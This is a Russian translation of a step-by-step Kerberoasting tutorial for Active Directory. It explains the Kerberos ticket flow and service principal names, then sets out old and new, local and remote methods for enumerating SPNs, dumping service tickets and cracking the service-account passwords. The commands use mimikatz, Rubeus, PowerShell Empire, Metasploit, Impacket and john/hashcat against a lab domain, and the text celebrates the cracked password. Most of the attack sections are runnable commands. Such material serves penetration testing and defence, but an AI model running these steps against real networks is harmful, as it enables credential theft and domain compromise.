Что такое атака Kerberoasting?
Мы перевели для вас статью об атаках Kerberoasting и других методах использования аутентификации Kerberos. Однако перед этим следует понять, как работает проверка подлинности Kerberos в режиме клиент-сервер.
«Kerberos предназначен для аутентификации, а не для авторизации, это упущение позволяет воспользоваться атакой Kerberoasting»
Содержание статьи
Раздел 1: процедура прохождения аутентификации Kerberos
- Kerberos и его главные компоненты
- Kerberos: система сообщений
Раздел 2: Имя субъекта службы SPN
- Важные моменты
- Синтаксис SPN состоит из четырех элементов
- Вид SPN
Раздел 3: Пошаговое руководство по атаке Kerberoasting
- Что такое Kerberoasting
- Последовательность действий атаки Kerberoasting
Часть 1: Старая процедура осуществления Kerberoasting в операционной системе
- Скрипт Powershell
- Mimikatz
Часть 2: Новая процедура осуществления Kerberoasting в операционной системе
- exe
- Cкрипт ps1
Часть 3: Старая процедура осуществления Kerberoasting дистанционно
- Powershell Empire
- Metasploit
Часть 4: Новая процедура осуществления Kerberoasting дистанционно
- PowerShell Empire
- Metasploit
- Impacket
Раздел 1: процедура прохождения аутентификации Kerberos
Структура:
- Kerberos и его основные компоненты
- Kerberos: система сообщений
Kerberos и его основные компоненты
Протокол Kerberos определяет способ того, как клиенты взаимодействуют со службой сетевой аутентификации. Пользователи получают билеты из центра распространения ключей Kerberos (KDC) и отправляют их на серверы приложения при установлении соединения. По умолчанию используется UDP-порт номер 88, и вся процедура зависит от процесса шифрования с помощью симметричной криптографии.
«Kerberos использует билеты для аутентификации пользователя и избегает отправки паролей по сети»
Есть несколько ключевых компонентов прохождения аутентификации Kerberos, которые играют важную роль в процессе проверки подлинности.
Kerberos: система сообщений
В домене Active Directory каждый контроллер домена запускает службу KDC (центр выдачи ключей Kerberos), которая обрабатывает запросы на билеты в Kerberos. Для билетов Kerberos AD использует учетную запись KRBTGT в домене AD.
На рисунке ниже показано, что основная роль, которую играет KDC в установлении безопасного соединения между сервером и клиентом, заключается в использовании некоторых специальных компонентов, указанных в таблице выше.
Как уже упоминалось выше, Kerberos использует симметричную криптографию для шифрования и дешифрования. Стоит разобраться подробнее и понять, как зашифрованные сообщения отправляются друг другу. Здесь используются три цвета для различения хэшей:
- BLUE _KEY: хэш пользователя NTLM
- YELLOW_KEY: хэш krbtgt NTLM
- RED_KEY: хэш сервиса NTLM
Шаг 1. Отправив запрос в KDC, клиент устанавливает связь следующим образом:
KRB_AS_REQ содержит в себе такие данные, как:
- Имя пользователя, подлежащего проверке подлинности
- Имя субъекта службы (Service PRINCIPAL NAME), связанное с учетной записью Krbtgt
- Зашифрованная временная метка (защищенная хэшем пользователя: синий ключ)
Все сообщения шифруются с помощью хэша пользователя NTLM (защищенного синим ключом) для проверки подлинности данных пользователя и предотвращения повторных атак.
Шаг 2. KDC использует базу данных, состоящую из хэшей Users / Krbtgt / Services, для расшифровки сообщения (синий ключ), за счет которого производится аутентификация пользователя.
Затем KDC генерирует TGT (Ticket Granting Ticket) для клиента, данные которого зашифрованы с помощью хэша Krbtgt (желтый ключ) и сообщения с использованием хэша пользователя.
KRB_AS_REP содержит в себе следующие данные:
- Имя пользователя
- Некоторые зашифрованные данные (защищенные пользовательским хэшем: синий ключ):
- Ключ сеанса сессии
- Конечный срок действия TGT
- TGT (защищенный хэшем krbtgt: желтый ключ), в котором находятся: имя пользователя, ключ сеанса связи, конечный срок действия TGT, PAC с правами пользователя, подписанный KDC.
Шаг 3. KRB_TGT будет храниться в памяти Kerberos компьютера, так как пользователь уже имеет KRB_TGT, который используется для идентификации своего устройства для запроса TGS. Клиент отправляет копию TGT с зашифрованными данными в KDC.
KRB_TGS_REQ содержит в себе следующие данные:
- Зашифрованные данные с помощью ключа сеанса связи
- Имя пользователя
- Отметку времени
- TGT
- SPN запрашиваемой службы, например, SQL
Шаг 4. KDC получает сообщение KRB_TGS_REQ и расшифровывает его с помощью хэша Krbtgt для проверки TGT (желтый ключ), затем KDC возвращает TGS как KRB_TGS_REP, который зашифрован с помощью запрошенного служебного хэша (красный ключ) и зашифрованного сообщения с использованием пользовательского хэша.
KRB_TGS_REP содержит в себе следующие данные:
- Имя пользователя
- Зашифрованные данные с помощью ключа сеанса связи:
- Ключ сеанса обслуживания
- Конечный срок действия TGS
- TGS (служебный хэш: красный ключ), который включает:
- Ключ сеанса обслуживания
- Имя пользователя
- Конечный срок действия TGS
- PAC с правами пользователя, подписанный KDC.
Шаг 5. Пользователь отправляет копию TGS на сервер приложения.
KRB_AP_REQ содержит:
- TGS
- Зашифрованные данные с помощью ключа сеанса связи:
- Имя пользователя
- Отметка времени для предотвращения повторных атак
Шаг 6. Приложение пытается расшифровать сообщение с помощью своего хэша NTLM и проверить PAC от KDC, чтобы определить привилегию пользователя (необязательно)
Шаг 7. KDC проверяет PAC (необязательно)
Шаг 8. Пользователь получает доступ к сервису на определенный период времени.
Раздел 2: Имя субъекта службы SPN
Содержание:
- Важные моменты
- Синтаксис SPN состоит из четырех элементов
- Вид SPN
Имя субъекта службы SPN
Имя субъекта службы SPN — это уникальный идентификатор экземпляра сервиса. Доменные службы Active Directory и Windows обеспечивают поддержку имен субъектов служб (SPN), которые являются ключевыми компонентами механизма Kerberos, позволяющие клиенту проходить аутентификацию.
Важные моменты:
- Если устанавливается несколько экземпляров службы на компьютерах одной сети, каждый экземпляр должен иметь свое имя SPN.
- Прежде чем служба аутентификации Kerberos сможет использовать имя субъекта службы для прохождения аутентификации, имя субъекта службы должно быть зарегистрировано в учетной записи.
- SPN может быть зарегистрировано только на одном аккаунте.
- SPN должно быть уникальным в той сети, в которой оно зарегистрировано.
- Если оно не уникально, при аутентификации произойдет сбой.
Синтаксис SPN состоит из четырех элементов
Вид SPN
- SPN на основе хоста, которые связаны с учетной записью компьютера в AD, представляют собой случайно сгенерированный 128-символьный пароль, который меняется каждые 30 дней, поэтому он и не используется при атаках Kerberoasting.
- Для SPN, которые были связаны с учетной записью пользователя домена, будет использоваться хэш NTLM.
Раздел 3: Пошаговое руководство по атаке Kerberoasting
Содержание:
- Что такое Kerberoasting
- Последовательность действий при атаке Kerberoasting
Часть 1: Старая процедура осуществления Kerberoasting в операционной системе
- Скрипт Powershell
- Mimikatz
Часть 2: Новая процедура осуществления Kerberoasting в операционной системе
- exe
- Cкрипт ps1
Часть 3: Старая процедура осуществления Kerberoasting дистанционно
- Powershell Empire
- Metasploit
Часть 4: Новая процедура осуществления Kerberoasting дистанционно
- PowerShell Empire
- Metasploit
- Impacket
Что такое Kerberoasting
Kerberoasting — это метод, который позволяет злоумышленнику украсть билет KRB_TGS, зашифрованный с помощью RC4, чтобы перебить хэш приложения для получения пароля.
Как было упомянуто выше, Kerberos использует хэш NTLM запрашиваемой службы для шифрования билета KRB_TGS для заданных имен участников службы (SPN). Когда пользователь домена отправляет запрос на билет TGS контроллеру домена KDC для любой службы, которая зарегистрировала SPN, KDC генерирует KRB_TGS без идентификации данных для авторизации пользователя запрашиваемой службы.
Злоумышленник может использовать этот билет в автономном режиме для подбора пароля учетной записи службы, так как билет был зашифрован в RC4 с помощью NTLM-хэша учетной записи службы.
Последовательность действий при атаке Kerberoasting
Атака представляет собой многоэтапный процесс, как показано ниже на картинке.
Шаг 0. Получение доступа к клиентской системе доменной сети всеми правдами и неправдами.
Шаг 1. Обнаружение или сканирование зарегистрированного SPN.
Шаг 2 . Отправка запроса на билет TGS для обнаруженного SPN с помощью Mimikatz или любой другой программы.
Шаг 3. Сброс билета TGS, который может иметь формат .kirbi или ccache или быть служебным хэшем (в некоторых случаях).
Шаг 4. Преобразование .kirby или ccache в необходимый формат для взлома.
Шаг 5: Использование словаря для лобовой атаки.
Есть старые и новые способы атаки Kerberoasting на локальном компьютере или дистанционно.
Старая процедура: это методы, в которых выполняется несколько шагов Kerberoasting.
Новая процедура: это одношаговый метод, используемый для осуществления Kerberoasting.
Часть 1: Старая процедура осуществления Kerberoasting в операционной системе
Метод 1. Скрипт Powershell.
Шаг 1. Обнаружение SPN.
Нужно скачать Find-PotentiallyCrackableAccounts.ps1 и Export-PotentiallyCrackableAccounts.ps1 по ссылке на компьютер. Эти скрипты найдут SPN и сохранят выходные данные в формате CSV.
Import-Module .Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose
Import-Module .Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
Другой скрипт PowerShell Getuserspn. ps1, скачать который можно здесь, будет запрашивать домен, чтобы обнаружить SPN, которые используют учетные записи пользователей. Как можно заметить, было найдено имя SPN с помощью следующей команды.
.\GetUserSPns .ps1
Для того чтобы импортировать модуль в PowerShell, выполняется команда, которая пронумерована именем субъекта службы SQL.
Шаг 2. Извлечение, сброс TGS_ticket и получение хэша
На картинке происходит попытка извлечения KRB_TGS из внутренней памяти хоста с помощью другого сценария PowerShell под названием TGSCipher. ps1, который можно скачать здесь и одновременно преобразовать вывод запроса в формат John.
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John
В результате получена хэш-строка для службы SQL.
Шаг 3. Обработка хэша с помощью лобовой атаки.
Это последняя и самая важная фаза, когда используется словарь для лобовой атаки хэша, поэтому сохраняется вышеупомянутый хэш в текстовом файле и выполняется следующая команда.
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Ура! Ура! Была успешно осуществлена атака Kerberoasting и получен пароль для службы SQL.
Метод 2. Mimikatz
Аналогично можно использовать mimikatz для проведения всей атаки, что означает, что программа может быть применена для обнаружения SPN и сброса билета TGS.
Шаг 1. Обнаружение SPN
Загрузите и выполните команды mimikatz и Kerberos::list для обнаружения SPN.
.\mimikatz.exe
kerberos::list
Шаг 2. Сброс билета TGS
Выполните команду export для извлечения билета с именем, содержащим формат .kirbi.
kerberos::list /export1
Шаг 3. Преобразование Кирби в хэш и его лобовая атака
Полученное имя файла переименовано в raj.kirbi и в формат для взлома с помощью kirbi2john.py (/usr / share/john/). Получено имя kirbihash, затем используется John для лобовой атаки, как и в 1-м методе.
mv "1-40a5000…..kirbi" "raj.kirbi"
/usr/share/john/kirbi2john.py raj.kirbi > kirbihash
john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash
Часть 2: Новая процедура осуществления Kerberoasting в операционной системе
Метод 1. Rubeus.exe
Шаг 1. Обнаружение SPN, сброс TGS, получение хэша (за один шаг)
Rebeus.exe — это потрясающая утилита, поскольку она идет в паре с модулем kerberoast, который обнаруживает SPN, извлекает и сбрасывает TGS и хэш службы. Это можно сделать с помощью следующей команды.
Rubeus.exe kerberoast /outfile:hash.txt
Шаг 2. Лобовое нападение на хэш
Итак, служебный хэш был сохранен в текстовом файле hash.txt и теперь используется словарь для лобовой атаки на хэш и извлечения пароля с помощью инструмента hashcat.
hashcat -m 13100 --force -a 0 hash.txt dict.txt
В результате был получен пароль от сервиса.
Метод 2. Скрипт Kerberoast PowerShell
Шаг 1. Обнаружение SPN, сброс TGS, получение хэша (все за один шаг)
Kerberoast. ps1 – это скрипт PowerShell, который аналогичен приведенному выше модулю, его можно скачать по ссылке. Он обнаруживает SPN, извлекает TGS и сбрасывает служебный хэш. Это делается с помощью следующих команд.
Import-Module .Invoke-kerberoast.ps1
Invoke-kerberoast
Как только служебный хэш получен, нужно следовать приведенному выше методу подбора пароля.
Шаг 2. Лобовая атака хэша
Процедура повторяется для лобовой атаки хэша.
Часть 3: Старая процедура осуществления Kerberoasting дистанционно
Метод 1. Metasploit
- Скрипт PowerShell с помощью meterpreter
- Скрипт ps1-ESPN Discovery
- Утилита Setspn
- ps1
- Mimikatz с помощью Metasploit
- Скрипт PowerShell с помощью meterpreter
Шаг 1. Обнаружение SPN
Можно скачать Find-PotentiallyCrackableAccounts.ps1 и Export-PotentiallyCrackableAccounts.ps1 здесь на локальный компьютер и загрузить его на хост-компьютер через сеанс meterpreter. После следует запустить PowerShell для получения удаленного доступа.
Эти скрипты выявят SPN и сохранят выходные данные в формате CSV.
Import-Module .Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
Import-Module .Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
Скачивание Report.csv на локальный компьютер.
Файл report.csv будет содержать список SPN, доступных в хост-системе.
SPN Discovery Utility
Другой метод – организации сеанса meterpreter путем компрометации компьютера-хоста и загрузки PowerShell. Использование утилиты setspn поможет пронумеровать все имена в домене.
setspn -T ignite -Q */*
Как можно заметить, снова обнаружены SPN для службы SQL.
Шаг 2. Определение, сбрс TGS_ticket и получение хэша
Скачивание скрипта PowerShell TGSCipher.ps1 и одновременное преобразование выходного запроса в формат John.
Import-Module .Get-TGSCipher.ps1
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John
В результате получена хэш-строка для службы SQL.
Шаг 3. Лобовая атака хэша
Повторяется такая же процедура лобовой атаки хэша.
Mimikatz с помощью Metasploit
После того, как у вас настроен сеанс meterpreter хост-системы, можно попробовать загрузить mimikatz.exe, а затем выполнить все шаги, описанные в первой части третьего раздела.
Шаг 1. Обнаружение SPN
Скачивание и выполнение команд mimikatz и Kerberos::list для обнаружения SPN.
.\mimikatz.exe
kerberos::list
Шаг 2. Взлом билета TGS
Выполнение команды экспорта для извлечения билета с форматом .kirbi
kerberos::list /export
Загрузка файла в формате .kirbi на локальный компьютер, чтобы преобразовать его в формат для взлома.
Шаг 3. Преобразование Кирби в хэш и его лобовая атака
Снова полученное имя фала 2-40a5000…..kirbi было переименовано в raj.kirbi с помощью kirbi2john.py (/usr / share/john/) для использования во время взлома под названием localhash. Затем применяется John для лобовой атаки, как это делалось и в других методах.
mv "40a5000.....kirbi" "local.kirbi"
/usr/share/john/kirbi2john.py local.kirbi > localhash
john -–wordlist=/usr/share/wordlists/rockyou.txt localhash
Метод 2. PowerShell Empire
Шаг 1. Обнаружение SPN с помощью setspn, как было указано ранее (необязательно для этого модуля)
Шаг 2. Извлечение, сброс TGS_ticket и получение хэша
Как только у пользователя есть empire agent, выполняется приведенный ниже модуль, который извлекает и сбрасывает (взламывает) файл формата .kirbi для билета TGS.
usemodule credential/mimikatz/extract_tickets
execute
Шаг 3. Преобразование Kirbi в хэш, а затем использование лобовой атаки
Также может быть применен tgscrack.py, специальный скрипт для python, который адаптирует формат .kirbi для взлома, а затем лобовой атакой хэша извлекает пароль. Скачать его можно по этой ссылке, после чего должны быть выполнены следующие команды.
mv [kirbi_file] [new.kirbi]
python extractServiceTicketParts.py [path_of_new.kirbi_file] > ignitehash
go run tgscrack.go -hashfile ignitehash -wordlist /usr/share/wordlists/rockyou.txt
Часть 4: Новая процедура осуществления Kerberoasting дистанционно
Метод 1. PowerShell Empire
Шаг 1. Обнаружение SPN, сброс TGS, получение хэша (все за один шаг)
Как только у пользователя появляется Empire / agent, нужно загрузите модуль invoke_kerberoast. Это эффективный модуль, поскольку он обнаруживает SPN, извлекает билет и взламывает служебный хэш из шифра TGS.
usemodule credentials/invoke_kerberoast
execute
Как можно наглядно увидеть, он сбросил хэш сервиса в течение секунды.
Шаг 2. Лобовая атака хэша
Процедура лобовой атаки хэша повторяется еще один раз.
Метод 2. Metasploit
Шаг 1. Обнаружение SPN, взлом TGS, получение хэша (все за один шаг)
Любители интерфейса Metasploit после получения доступа к сеансу meterpreter могут загрузить PowerShell и скачать скрипт kerberoast.ps1 по этой ссылке. Он находит SPN, извлекает билет TGS, а затем взламывает служебный хэш из шифра TGS.
powershell_import /root/powershell/Invoke-kerberoast.ps1
powershell_execute Invoke-Kerberoast
Шаг 2. Лобовая атака хэша
Процедура лобовой атаки хэша повторяется еще раз.
Метод 3. Impacket
Шаг 1. Обнаружение SPN, сброс TGS, получение хэша (все за один шаг)
Используется встроенный модуль Impacket GetUSerSPNs.py, это особый скрипт для python, который находит SPN, извлекает TGS и сбрасывает служебный хэш. Сделать это можно с помощью следующей команды:
./GetUserSPNs.py -request -dc-ip 192.168.1.105 ignite.local/yashika
Он будет взламывать служебный хэш, и с помощью словаря появится возможность подобрать необходимый пароль.
Шаг 2. Лобовая атака хэша
Повтор процедуры лобовой атаки хэша еще раз.
john –wordlist=/usr/share/wordlists/rockyou.txt hashes
Читать подробнее из источника на английском можно по ссылке.